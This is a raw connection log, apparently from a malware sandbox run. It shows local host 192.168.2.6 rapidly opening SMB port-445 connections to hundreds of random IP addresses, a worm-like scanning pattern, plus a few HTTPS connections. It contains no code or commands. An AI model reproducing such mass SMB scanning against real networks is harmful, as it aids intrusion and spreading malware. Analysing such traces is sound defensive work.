Dec 22, 2022 10:06:32.181256056 CET	57858	445	192.168.2.6	130.165.132.160
Dec 22, 2022 10:06:32.181617022 CET	57862	445	192.168.2.6	68.232.179.22
Dec 22, 2022 10:06:32.181819916 CET	57865	445	192.168.2.6	15.46.51.46
Dec 22, 2022 10:06:32.189934969 CET	57866	445	192.168.2.6	91.50.59.16
Dec 22, 2022 10:06:32.190069914 CET	57867	445	192.168.2.6	104.126.159.181
Dec 22, 2022 10:06:32.190196991 CET	57868	445	192.168.2.6	52.246.26.78
Dec 22, 2022 10:06:32.190268993 CET	57869	445	192.168.2.6	106.61.198.131
Dec 22, 2022 10:06:32.190443993 CET	57870	445	192.168.2.6	104.83.55.40
Dec 22, 2022 10:06:32.190498114 CET	57871	445	192.168.2.6	213.220.177.151
Dec 22, 2022 10:06:32.271132946 CET	445	57781	176.210.131.76	192.168.2.6
Dec 22, 2022 10:06:32.271333933 CET	57781	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:32.330378056 CET	57872	445	192.168.2.6	176.210.131.77
Dec 22, 2022 10:06:32.383074045 CET	445	57781	176.210.131.76	192.168.2.6
Dec 22, 2022 10:06:32.383203030 CET	57781	445	192.168.2.6	176.210.131.76
Dec 22, 2022 10:06:33.282447100 CET	57881	445	192.168.2.6	128.252.169.34
Dec 22, 2022 10:06:33.282454014 CET	57879	445	192.168.2.6	222.147.64.44
Dec 22, 2022 10:06:33.282649040 CET	57882	445	192.168.2.6	10.152.210.123
Dec 22, 2022 10:06:33.283122063 CET	57889	445	192.168.2.6	35.165.131.59
Dec 22, 2022 10:06:33.283376932 CET	57891	445	192.168.2.6	41.185.111.215
Dec 22, 2022 10:06:33.283829927 CET	57894	445	192.168.2.6	130.141.173.64
Dec 22, 2022 10:06:33.283966064 CET	57895	445	192.168.2.6	28.123.235.245
Dec 22, 2022 10:06:33.284579039 CET	57901	445	192.168.2.6	159.61.85.236
Dec 22, 2022 10:06:33.285202026 CET	57908	445	192.168.2.6	170.207.94.250
Dec 22, 2022 10:06:33.285854101 CET	57913	445	192.168.2.6	167.254.236.183
Dec 22, 2022 10:06:33.286000013 CET	57914	445	192.168.2.6	13.208.186.222
Dec 22, 2022 10:06:33.286111116 CET	57915	445	192.168.2.6	94.9.148.197
Dec 22, 2022 10:06:33.286283016 CET	57917	445	192.168.2.6	4.211.172.32
Dec 22, 2022 10:06:33.286392927 CET	57918	445	192.168.2.6	53.102.246.239
Dec 22, 2022 10:06:33.286628008 CET	57921	445	192.168.2.6	45.13.189.156
Dec 22, 2022 10:06:33.286940098 CET	57925	445	192.168.2.6	12.151.75.130
Dec 22, 2022 10:06:33.287179947 CET	57927	445	192.168.2.6	91.10.103.143
Dec 22, 2022 10:06:33.287326097 CET	57928	445	192.168.2.6	81.81.1.123
Dec 22, 2022 10:06:33.288418055 CET	57942	445	192.168.2.6	67.233.197.114
Dec 22, 2022 10:06:33.288718939 CET	57945	445	192.168.2.6	54.190.20.221
Dec 22, 2022 10:06:33.289143085 CET	57950	445	192.168.2.6	26.149.235.240
Dec 22, 2022 10:06:33.289832115 CET	57957	445	192.168.2.6	110.162.103.108
Dec 22, 2022 10:06:33.289948940 CET	57958	445	192.168.2.6	194.254.231.210
Dec 22, 2022 10:06:33.290216923 CET	57959	445	192.168.2.6	146.145.16.180
Dec 22, 2022 10:06:33.316278934 CET	57961	445	192.168.2.6	179.159.22.180
Dec 22, 2022 10:06:33.316279888 CET	57960	445	192.168.2.6	38.153.77.143
Dec 22, 2022 10:06:33.316566944 CET	57963	445	192.168.2.6	44.13.70.173
Dec 22, 2022 10:06:33.316617966 CET	57965	445	192.168.2.6	75.63.237.104
Dec 22, 2022 10:06:33.316617966 CET	57962	445	192.168.2.6	23.101.65.158
Dec 22, 2022 10:06:33.316692114 CET	57964	445	192.168.2.6	98.46.247.83
Dec 22, 2022 10:06:33.407965899 CET	57966	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:33.513418913 CET	445	57966	176.210.131.78	192.168.2.6
Dec 22, 2022 10:06:33.513525963 CET	57966	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:33.513673067 CET	57966	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:33.514384031 CET	57968	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:33.616132021 CET	445	57968	176.210.131.78	192.168.2.6
Dec 22, 2022 10:06:33.616247892 CET	57968	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:33.616286993 CET	57968	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:33.621512890 CET	445	57966	176.210.131.78	192.168.2.6
Dec 22, 2022 10:06:33.625534058 CET	445	57966	176.210.131.78	192.168.2.6
Dec 22, 2022 10:06:33.625611067 CET	57966	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:33.720117092 CET	445	57968	176.210.131.78	192.168.2.6
Dec 22, 2022 10:06:33.728137016 CET	445	57968	176.210.131.78	192.168.2.6
Dec 22, 2022 10:06:33.728777885 CET	57968	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:33.836142063 CET	445	57968	176.210.131.78	192.168.2.6
Dec 22, 2022 10:06:33.836293936 CET	57968	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:33.940180063 CET	445	57968	176.210.131.78	192.168.2.6
Dec 22, 2022 10:06:33.940318108 CET	57968	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:34.044203997 CET	445	57968	176.210.131.78	192.168.2.6
Dec 22, 2022 10:06:34.044370890 CET	57968	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:34.148042917 CET	445	57968	176.210.131.78	192.168.2.6
Dec 22, 2022 10:06:34.148296118 CET	57968	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:34.391609907 CET	57975	445	192.168.2.6	37.62.16.169
Dec 22, 2022 10:06:34.393105984 CET	57986	445	192.168.2.6	39.129.70.25
Dec 22, 2022 10:06:34.393250942 CET	57987	445	192.168.2.6	50.1.47.217
Dec 22, 2022 10:06:34.393515110 CET	57989	445	192.168.2.6	53.197.19.63
Dec 22, 2022 10:06:34.394000053 CET	57993	445	192.168.2.6	212.39.191.50
Dec 22, 2022 10:06:34.394284010 CET	57996	445	192.168.2.6	80.146.90.85
Dec 22, 2022 10:06:34.394359112 CET	57997	445	192.168.2.6	104.228.37.141
Dec 22, 2022 10:06:34.394546986 CET	57999	445	192.168.2.6	20.77.164.10
Dec 22, 2022 10:06:34.394619942 CET	58000	445	192.168.2.6	138.85.196.237
Dec 22, 2022 10:06:34.394748926 CET	58001	445	192.168.2.6	207.96.91.138
Dec 22, 2022 10:06:34.395212889 CET	58006	445	192.168.2.6	141.235.65.9
Dec 22, 2022 10:06:34.395658970 CET	58013	445	192.168.2.6	98.35.1.86
Dec 22, 2022 10:06:34.396136045 CET	58019	445	192.168.2.6	42.169.214.68
Dec 22, 2022 10:06:34.396207094 CET	58020	445	192.168.2.6	207.56.102.41
Dec 22, 2022 10:06:34.396428108 CET	58023	445	192.168.2.6	212.49.184.69
Dec 22, 2022 10:06:34.396586895 CET	58025	445	192.168.2.6	6.122.100.212
Dec 22, 2022 10:06:34.397258997 CET	58032	445	192.168.2.6	190.165.52.52
Dec 22, 2022 10:06:34.397351980 CET	58033	445	192.168.2.6	88.9.76.197
Dec 22, 2022 10:06:34.397537947 CET	58035	445	192.168.2.6	26.142.113.197
Dec 22, 2022 10:06:34.397634029 CET	58036	445	192.168.2.6	84.178.88.235
Dec 22, 2022 10:06:34.397737980 CET	58037	445	192.168.2.6	206.69.115.60
Dec 22, 2022 10:06:34.398560047 CET	58044	445	192.168.2.6	91.8.77.220
Dec 22, 2022 10:06:34.398971081 CET	58049	445	192.168.2.6	92.239.105.242
Dec 22, 2022 10:06:34.399214029 CET	58052	445	192.168.2.6	196.104.93.246
Dec 22, 2022 10:06:34.423986912 CET	58056	445	192.168.2.6	175.243.180.56
Dec 22, 2022 10:06:34.424556971 CET	58057	445	192.168.2.6	217.60.67.195
Dec 22, 2022 10:06:34.425048113 CET	58058	445	192.168.2.6	182.20.226.229
Dec 22, 2022 10:06:34.425538063 CET	58059	445	192.168.2.6	209.226.198.158
Dec 22, 2022 10:06:34.426029921 CET	58060	445	192.168.2.6	91.234.56.57
Dec 22, 2022 10:06:34.426522017 CET	58061	445	192.168.2.6	24.221.195.37
Dec 22, 2022 10:06:34.428584099 CET	445	58044	91.8.77.220	192.168.2.6
Dec 22, 2022 10:06:34.707514048 CET	445	58058	182.20.226.229	192.168.2.6
Dec 22, 2022 10:06:34.938251972 CET	58044	445	192.168.2.6	91.8.77.220
Dec 22, 2022 10:06:34.968537092 CET	445	58044	91.8.77.220	192.168.2.6
Dec 22, 2022 10:06:35.219465971 CET	58058	445	192.168.2.6	182.20.226.229
Dec 22, 2022 10:06:35.469496965 CET	58044	445	192.168.2.6	91.8.77.220
Dec 22, 2022 10:06:35.499310017 CET	445	58044	91.8.77.220	192.168.2.6
Dec 22, 2022 10:06:35.502268076 CET	445	58058	182.20.226.229	192.168.2.6
Dec 22, 2022 10:06:35.641668081 CET	58069	445	192.168.2.6	96.47.75.112
Dec 22, 2022 10:06:35.641879082 CET	58071	445	192.168.2.6	65.149.27.8
Dec 22, 2022 10:06:35.642144918 CET	58074	445	192.168.2.6	62.106.247.36
Dec 22, 2022 10:06:35.642189980 CET	58072	445	192.168.2.6	221.28.220.244
Dec 22, 2022 10:06:35.642282009 CET	58075	445	192.168.2.6	186.112.65.84
Dec 22, 2022 10:06:35.642544031 CET	58076	445	192.168.2.6	139.13.245.122
Dec 22, 2022 10:06:35.643003941 CET	58081	445	192.168.2.6	89.89.24.234
Dec 22, 2022 10:06:35.643594980 CET	58088	445	192.168.2.6	114.106.238.191
Dec 22, 2022 10:06:35.644165039 CET	58094	445	192.168.2.6	7.76.2.93
Dec 22, 2022 10:06:35.644299984 CET	58095	445	192.168.2.6	136.190.103.209
Dec 22, 2022 10:06:35.644565105 CET	58098	445	192.168.2.6	20.118.2.131
Dec 22, 2022 10:06:35.644737959 CET	58100	445	192.168.2.6	198.217.219.206
Dec 22, 2022 10:06:35.645381927 CET	58107	445	192.168.2.6	198.180.64.218
Dec 22, 2022 10:06:35.645498991 CET	58108	445	192.168.2.6	145.6.179.197
Dec 22, 2022 10:06:35.645772934 CET	58110	445	192.168.2.6	29.26.84.112
Dec 22, 2022 10:06:35.645886898 CET	58111	445	192.168.2.6	64.102.141.251
Dec 22, 2022 10:06:35.646075010 CET	58112	445	192.168.2.6	60.156.66.245
Dec 22, 2022 10:06:35.646632910 CET	58119	445	192.168.2.6	116.129.222.214
Dec 22, 2022 10:06:35.647083998 CET	58124	445	192.168.2.6	11.185.42.99
Dec 22, 2022 10:06:35.647361040 CET	58127	445	192.168.2.6	96.162.12.116
Dec 22, 2022 10:06:35.648731947 CET	58142	445	192.168.2.6	173.206.45.112
Dec 22, 2022 10:06:35.648794889 CET	58141	445	192.168.2.6	133.68.83.182
Dec 22, 2022 10:06:35.649014950 CET	58144	445	192.168.2.6	13.193.102.186
Dec 22, 2022 10:06:35.649488926 CET	58148	445	192.168.2.6	111.108.201.47
Dec 22, 2022 10:06:35.650227070 CET	58150	445	192.168.2.6	137.209.146.201
Dec 22, 2022 10:06:35.650840998 CET	58151	445	192.168.2.6	185.89.199.114
Dec 22, 2022 10:06:35.651473045 CET	58152	445	192.168.2.6	133.232.251.129
Dec 22, 2022 10:06:35.652089119 CET	58153	445	192.168.2.6	54.184.93.60
Dec 22, 2022 10:06:35.652950048 CET	58154	445	192.168.2.6	27.12.61.10
Dec 22, 2022 10:06:35.653534889 CET	58155	445	192.168.2.6	141.157.164.173
Dec 22, 2022 10:06:37.109626055 CET	58163	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:37.110440016 CET	58164	445	192.168.2.6	218.183.33.32
Dec 22, 2022 10:06:37.111303091 CET	58169	445	192.168.2.6	20.15.15.23
Dec 22, 2022 10:06:37.112109900 CET	58171	445	192.168.2.6	135.20.176.34
Dec 22, 2022 10:06:37.112906933 CET	58172	445	192.168.2.6	41.13.221.88
Dec 22, 2022 10:06:37.113326073 CET	58173	445	192.168.2.6	32.23.181.82
Dec 22, 2022 10:06:37.113948107 CET	58174	445	192.168.2.6	77.193.240.59
Dec 22, 2022 10:06:37.114475965 CET	58175	445	192.168.2.6	115.27.67.107
Dec 22, 2022 10:06:37.115061045 CET	58176	445	192.168.2.6	83.68.129.158
Dec 22, 2022 10:06:37.133367062 CET	58189	445	192.168.2.6	63.57.186.250
Dec 22, 2022 10:06:37.133471966 CET	58190	445	192.168.2.6	82.137.230.15
Dec 22, 2022 10:06:37.133620024 CET	58192	445	192.168.2.6	170.166.192.233
Dec 22, 2022 10:06:37.134088993 CET	58196	445	192.168.2.6	53.109.236.169
Dec 22, 2022 10:06:37.134187937 CET	58197	445	192.168.2.6	163.202.96.197
Dec 22, 2022 10:06:37.134428024 CET	58200	445	192.168.2.6	26.249.135.1
Dec 22, 2022 10:06:37.134655952 CET	58202	445	192.168.2.6	113.18.87.194
Dec 22, 2022 10:06:37.135251045 CET	58209	445	192.168.2.6	136.130.82.8
Dec 22, 2022 10:06:37.135346889 CET	58210	445	192.168.2.6	103.94.222.83
Dec 22, 2022 10:06:37.135519028 CET	58212	445	192.168.2.6	96.179.145.61
Dec 22, 2022 10:06:37.135656118 CET	58213	445	192.168.2.6	123.167.148.219
Dec 22, 2022 10:06:37.135720968 CET	58214	445	192.168.2.6	12.6.2.36
Dec 22, 2022 10:06:37.136564016 CET	58221	445	192.168.2.6	71.249.167.190
Dec 22, 2022 10:06:37.137113094 CET	58226	445	192.168.2.6	98.246.152.2
Dec 22, 2022 10:06:37.137331963 CET	58229	445	192.168.2.6	134.108.116.60
Dec 22, 2022 10:06:37.142333984 CET	56701	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:06:37.192394972 CET	58233	445	192.168.2.6	209.141.53.21
Dec 22, 2022 10:06:37.193519115 CET	58245	445	192.168.2.6	2.102.176.234
Dec 22, 2022 10:06:37.193649054 CET	58238	445	192.168.2.6	174.54.84.111
Dec 22, 2022 10:06:37.194113970 CET	58250	445	192.168.2.6	164.90.221.28
Dec 22, 2022 10:06:37.194154024 CET	58251	445	192.168.2.6	45.74.22.66
Dec 22, 2022 10:06:37.194320917 CET	58253	445	192.168.2.6	145.203.235.155
Dec 22, 2022 10:06:37.194660902 CET	58254	445	192.168.2.6	213.199.6.171
Dec 22, 2022 10:06:37.220192909 CET	445	58163	176.210.131.78	192.168.2.6
Dec 22, 2022 10:06:37.220309019 CET	58163	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:37.221182108 CET	58163	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:37.308289051 CET	58257	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:37.328969002 CET	445	58163	176.210.131.78	192.168.2.6
Dec 22, 2022 10:06:37.336707115 CET	445	58163	176.210.131.78	192.168.2.6
Dec 22, 2022 10:06:37.336839914 CET	58163	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:37.343203068 CET	445	58257	84.6.126.3	192.168.2.6
Dec 22, 2022 10:06:37.343322039 CET	58257	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:37.343555927 CET	58257	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:37.351021051 CET	445	58233	209.141.53.21	192.168.2.6
Dec 22, 2022 10:06:37.400496960 CET	58258	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:37.434958935 CET	445	58258	84.6.126.3	192.168.2.6
Dec 22, 2022 10:06:37.435065985 CET	58258	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:37.435163021 CET	58258	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:37.438736916 CET	58260	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:06:37.438811064 CET	443	58260	20.90.153.243	192.168.2.6
Dec 22, 2022 10:06:37.438893080 CET	58260	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:06:37.440272093 CET	58260	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:06:37.440288067 CET	443	58260	20.90.153.243	192.168.2.6
Dec 22, 2022 10:06:37.448158979 CET	445	58163	176.210.131.78	192.168.2.6
Dec 22, 2022 10:06:37.448265076 CET	58163	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:37.549098015 CET	443	58260	20.90.153.243	192.168.2.6
Dec 22, 2022 10:06:37.549269915 CET	58260	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:06:37.552928925 CET	58260	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:06:37.552954912 CET	443	58260	20.90.153.243	192.168.2.6
Dec 22, 2022 10:06:37.553627014 CET	443	58260	20.90.153.243	192.168.2.6
Dec 22, 2022 10:06:37.554815054 CET	58260	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:06:37.554841995 CET	443	58260	20.90.153.243	192.168.2.6
Dec 22, 2022 10:06:37.554863930 CET	58260	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:06:37.554871082 CET	443	58260	20.90.153.243	192.168.2.6
Dec 22, 2022 10:06:37.555114985 CET	58260	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:06:37.555123091 CET	443	58260	20.90.153.243	192.168.2.6
Dec 22, 2022 10:06:37.560111046 CET	445	58163	176.210.131.78	192.168.2.6
Dec 22, 2022 10:06:37.560205936 CET	58163	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:37.585608006 CET	443	58260	20.90.153.243	192.168.2.6
Dec 22, 2022 10:06:37.585963011 CET	443	58260	20.90.153.243	192.168.2.6
Dec 22, 2022 10:06:37.586075068 CET	58260	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:06:37.657237053 CET	58257	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:37.668124914 CET	445	58163	176.210.131.78	192.168.2.6
Dec 22, 2022 10:06:37.688467026 CET	58258	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:37.703288078 CET	58163	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:37.703596115 CET	58260	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:06:37.703638077 CET	443	58260	20.90.153.243	192.168.2.6
Dec 22, 2022 10:06:37.812237024 CET	445	58163	176.210.131.78	192.168.2.6
Dec 22, 2022 10:06:37.812414885 CET	58163	445	192.168.2.6	176.210.131.78
Dec 22, 2022 10:06:37.860368967 CET	58233	445	192.168.2.6	209.141.53.21
Dec 22, 2022 10:06:38.020225048 CET	445	58233	209.141.53.21	192.168.2.6
Dec 22, 2022 10:06:38.047878027 CET	58258	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:38.266720057 CET	58257	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:38.579144955 CET	58233	445	192.168.2.6	209.141.53.21
Dec 22, 2022 10:06:38.683746099 CET	58261	445	192.168.2.6	176.210.131.79
Dec 22, 2022 10:06:38.737761021 CET	445	58233	209.141.53.21	192.168.2.6
Dec 22, 2022 10:06:38.751116991 CET	58258	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:38.786758900 CET	58263	445	192.168.2.6	120.80.197.169
Dec 22, 2022 10:06:38.787348986 CET	58268	445	192.168.2.6	85.126.21.137
Dec 22, 2022 10:06:38.787616014 CET	58270	445	192.168.2.6	39.106.113.251
Dec 22, 2022 10:06:38.787784100 CET	58271	445	192.168.2.6	158.174.234.240
Dec 22, 2022 10:06:38.788055897 CET	58274	445	192.168.2.6	62.95.203.116
Dec 22, 2022 10:06:38.788316965 CET	58277	445	192.168.2.6	140.76.220.155
Dec 22, 2022 10:06:38.788897038 CET	58280	445	192.168.2.6	162.222.229.71
Dec 22, 2022 10:06:38.789124012 CET	58282	445	192.168.2.6	36.71.137.140
Dec 22, 2022 10:06:38.789645910 CET	58288	445	192.168.2.6	67.146.80.107
Dec 22, 2022 10:06:38.790124893 CET	58292	445	192.168.2.6	36.98.132.30
Dec 22, 2022 10:06:38.790124893 CET	58290	445	192.168.2.6	174.25.154.44
Dec 22, 2022 10:06:38.790178061 CET	58293	445	192.168.2.6	48.24.176.22
Dec 22, 2022 10:06:38.790339947 CET	58294	445	192.168.2.6	24.69.184.186
Dec 22, 2022 10:06:38.790961981 CET	58301	445	192.168.2.6	27.8.128.154
Dec 22, 2022 10:06:38.791553974 CET	58306	445	192.168.2.6	170.1.165.135
Dec 22, 2022 10:06:38.791815042 CET	58309	445	192.168.2.6	5.139.150.27
Dec 22, 2022 10:06:38.792642117 CET	58313	445	192.168.2.6	122.75.157.122
Dec 22, 2022 10:06:38.793193102 CET	58314	445	192.168.2.6	221.158.90.45
Dec 22, 2022 10:06:38.793412924 CET	58315	445	192.168.2.6	78.224.78.63
Dec 22, 2022 10:06:38.838367939 CET	58322	445	192.168.2.6	184.16.41.60
Dec 22, 2022 10:06:38.840059996 CET	58323	445	192.168.2.6	220.30.113.115
Dec 22, 2022 10:06:39.052052021 CET	58326	445	192.168.2.6	157.143.7.139
Dec 22, 2022 10:06:39.052303076 CET	58328	445	192.168.2.6	108.126.118.77
Dec 22, 2022 10:06:39.052426100 CET	58329	445	192.168.2.6	89.121.177.138
Dec 22, 2022 10:06:39.052783012 CET	58331	445	192.168.2.6	181.234.221.92
Dec 22, 2022 10:06:39.052896023 CET	58335	445	192.168.2.6	4.3.166.105
Dec 22, 2022 10:06:39.053489923 CET	58342	445	192.168.2.6	117.83.57.147
Dec 22, 2022 10:06:39.054045916 CET	58348	445	192.168.2.6	199.38.159.77
Dec 22, 2022 10:06:39.055140018 CET	58356	445	192.168.2.6	153.125.185.121
Dec 22, 2022 10:06:39.055622101 CET	58357	445	192.168.2.6	54.165.117.116
Dec 22, 2022 10:06:39.469887018 CET	58257	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:39.736114979 CET	58358	445	192.168.2.6	176.210.131.80
Dec 22, 2022 10:06:39.892450094 CET	58360	445	192.168.2.6	221.8.105.148
Dec 22, 2022 10:06:39.893246889 CET	58366	445	192.168.2.6	78.43.191.61
Dec 22, 2022 10:06:39.893707991 CET	58367	445	192.168.2.6	65.135.71.6
Dec 22, 2022 10:06:39.894287109 CET	58368	445	192.168.2.6	78.143.189.148
Dec 22, 2022 10:06:39.894772053 CET	58372	445	192.168.2.6	174.43.254.61
Dec 22, 2022 10:06:39.895092964 CET	58375	445	192.168.2.6	41.46.55.221
Dec 22, 2022 10:06:39.895549059 CET	58380	445	192.168.2.6	76.173.106.27
Dec 22, 2022 10:06:39.896121979 CET	58387	445	192.168.2.6	169.214.175.60
Dec 22, 2022 10:06:39.896215916 CET	58388	445	192.168.2.6	75.116.99.139
Dec 22, 2022 10:06:39.896301031 CET	58389	445	192.168.2.6	72.30.162.226
Dec 22, 2022 10:06:39.896629095 CET	58391	445	192.168.2.6	162.75.50.57
Dec 22, 2022 10:06:39.896862984 CET	58393	445	192.168.2.6	154.189.141.75
Dec 22, 2022 10:06:39.897430897 CET	58399	445	192.168.2.6	203.154.196.222
Dec 22, 2022 10:06:39.897591114 CET	58401	445	192.168.2.6	102.65.39.250
Dec 22, 2022 10:06:39.897905111 CET	58404	445	192.168.2.6	13.182.30.64
Dec 22, 2022 10:06:39.898386955 CET	58407	445	192.168.2.6	76.177.19.111
Dec 22, 2022 10:06:39.898812056 CET	58410	445	192.168.2.6	137.59.142.201
Dec 22, 2022 10:06:39.898951054 CET	58411	445	192.168.2.6	38.185.204.73
Dec 22, 2022 10:06:39.900285006 CET	58413	445	192.168.2.6	203.0.82.155
Dec 22, 2022 10:06:39.954154968 CET	58258	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:39.955380917 CET	58418	445	192.168.2.6	13.235.50.113
Dec 22, 2022 10:06:40.158097029 CET	58420	445	192.168.2.6	106.233.201.84
Dec 22, 2022 10:06:40.158514977 CET	58423	445	192.168.2.6	201.41.33.183
Dec 22, 2022 10:06:40.158620119 CET	58425	445	192.168.2.6	28.124.155.3
Dec 22, 2022 10:06:40.158721924 CET	58426	445	192.168.2.6	111.232.153.110
Dec 22, 2022 10:06:40.158931017 CET	58428	445	192.168.2.6	50.152.154.117
Dec 22, 2022 10:06:40.159259081 CET	58432	445	192.168.2.6	144.212.143.121
Dec 22, 2022 10:06:40.159873962 CET	58439	445	192.168.2.6	87.215.96.29
Dec 22, 2022 10:06:40.160310030 CET	58445	445	192.168.2.6	145.12.233.87
Dec 22, 2022 10:06:40.161662102 CET	58453	445	192.168.2.6	15.19.24.88
Dec 22, 2022 10:06:40.162317991 CET	58454	445	192.168.2.6	27.109.249.206
Dec 22, 2022 10:06:40.798357964 CET	58456	445	192.168.2.6	176.210.131.81
Dec 22, 2022 10:06:41.001883984 CET	58458	445	192.168.2.6	118.116.176.58
Dec 22, 2022 10:06:41.004765034 CET	58463	445	192.168.2.6	187.214.232.196
Dec 22, 2022 10:06:41.006154060 CET	58464	445	192.168.2.6	153.173.188.144
Dec 22, 2022 10:06:41.007199049 CET	58465	445	192.168.2.6	65.193.129.29
Dec 22, 2022 10:06:41.008037090 CET	58469	445	192.168.2.6	110.216.5.67
Dec 22, 2022 10:06:41.008299112 CET	58472	445	192.168.2.6	25.80.83.131
Dec 22, 2022 10:06:41.008744955 CET	58477	445	192.168.2.6	168.110.245.141
Dec 22, 2022 10:06:41.009557962 CET	58484	445	192.168.2.6	180.237.34.96
Dec 22, 2022 10:06:41.009679079 CET	58485	445	192.168.2.6	135.112.224.41
Dec 22, 2022 10:06:41.009871006 CET	58486	445	192.168.2.6	42.216.197.149
Dec 22, 2022 10:06:41.010104895 CET	58488	445	192.168.2.6	175.173.142.178
Dec 22, 2022 10:06:41.010473013 CET	58490	445	192.168.2.6	181.149.32.107
Dec 22, 2022 10:06:41.011185884 CET	58496	445	192.168.2.6	1.87.180.254
Dec 22, 2022 10:06:41.011430979 CET	58498	445	192.168.2.6	7.234.22.117
Dec 22, 2022 10:06:41.011776924 CET	58501	445	192.168.2.6	121.159.212.19
Dec 22, 2022 10:06:41.012128115 CET	58504	445	192.168.2.6	3.47.206.203
Dec 22, 2022 10:06:41.012610912 CET	58507	445	192.168.2.6	185.160.89.78
Dec 22, 2022 10:06:41.012847900 CET	58508	445	192.168.2.6	1.212.33.165
Dec 22, 2022 10:06:41.013092995 CET	58510	445	192.168.2.6	8.90.136.16
Dec 22, 2022 10:06:41.080461979 CET	58517	445	192.168.2.6	25.105.231.124
Dec 22, 2022 10:06:41.251317978 CET	58258	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:41.267909050 CET	58518	445	192.168.2.6	218.211.131.42
Dec 22, 2022 10:06:41.268512964 CET	58519	445	192.168.2.6	84.93.199.7
Dec 22, 2022 10:06:41.269246101 CET	58527	445	192.168.2.6	70.81.227.199
Dec 22, 2022 10:06:41.269750118 CET	58534	445	192.168.2.6	114.100.6.16
Dec 22, 2022 10:06:41.270034075 CET	58541	445	192.168.2.6	128.248.113.235
Dec 22, 2022 10:06:41.270138025 CET	58543	445	192.168.2.6	135.223.140.32
Dec 22, 2022 10:06:41.270265102 CET	58545	445	192.168.2.6	156.220.248.24
Dec 22, 2022 10:06:41.270369053 CET	58548	445	192.168.2.6	134.220.39.37
Dec 22, 2022 10:06:41.270476103 CET	58549	445	192.168.2.6	3.234.189.200
Dec 22, 2022 10:06:41.270979881 CET	58552	445	192.168.2.6	189.7.224.43
Dec 22, 2022 10:06:41.303648949 CET	445	58548	134.220.39.37	192.168.2.6
Dec 22, 2022 10:06:41.303795099 CET	58548	445	192.168.2.6	134.220.39.37
Dec 22, 2022 10:06:41.304267883 CET	58553	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:41.337626934 CET	445	58553	134.220.39.1	192.168.2.6
Dec 22, 2022 10:06:41.337821007 CET	58553	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:41.338776112 CET	58554	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:41.372154951 CET	445	58554	134.220.39.1	192.168.2.6
Dec 22, 2022 10:06:41.373930931 CET	58554	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:41.641935110 CET	58548	445	192.168.2.6	134.220.39.37
Dec 22, 2022 10:06:41.673391104 CET	58553	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:41.751327991 CET	58554	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:41.876302958 CET	58257	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:41.876729012 CET	58556	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:41.923459053 CET	58553	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:41.938879967 CET	58548	445	192.168.2.6	134.220.39.37
Dec 22, 2022 10:06:41.983227968 CET	445	58556	176.210.131.82	192.168.2.6
Dec 22, 2022 10:06:41.983341932 CET	58556	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:41.983618021 CET	58556	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:41.984189034 CET	58557	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:42.048223019 CET	58554	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:42.085058928 CET	445	58556	176.210.131.82	192.168.2.6
Dec 22, 2022 10:06:42.085813046 CET	445	58557	176.210.131.82	192.168.2.6
Dec 22, 2022 10:06:42.085912943 CET	58557	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:42.085966110 CET	58557	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:42.091063976 CET	445	58556	176.210.131.82	192.168.2.6
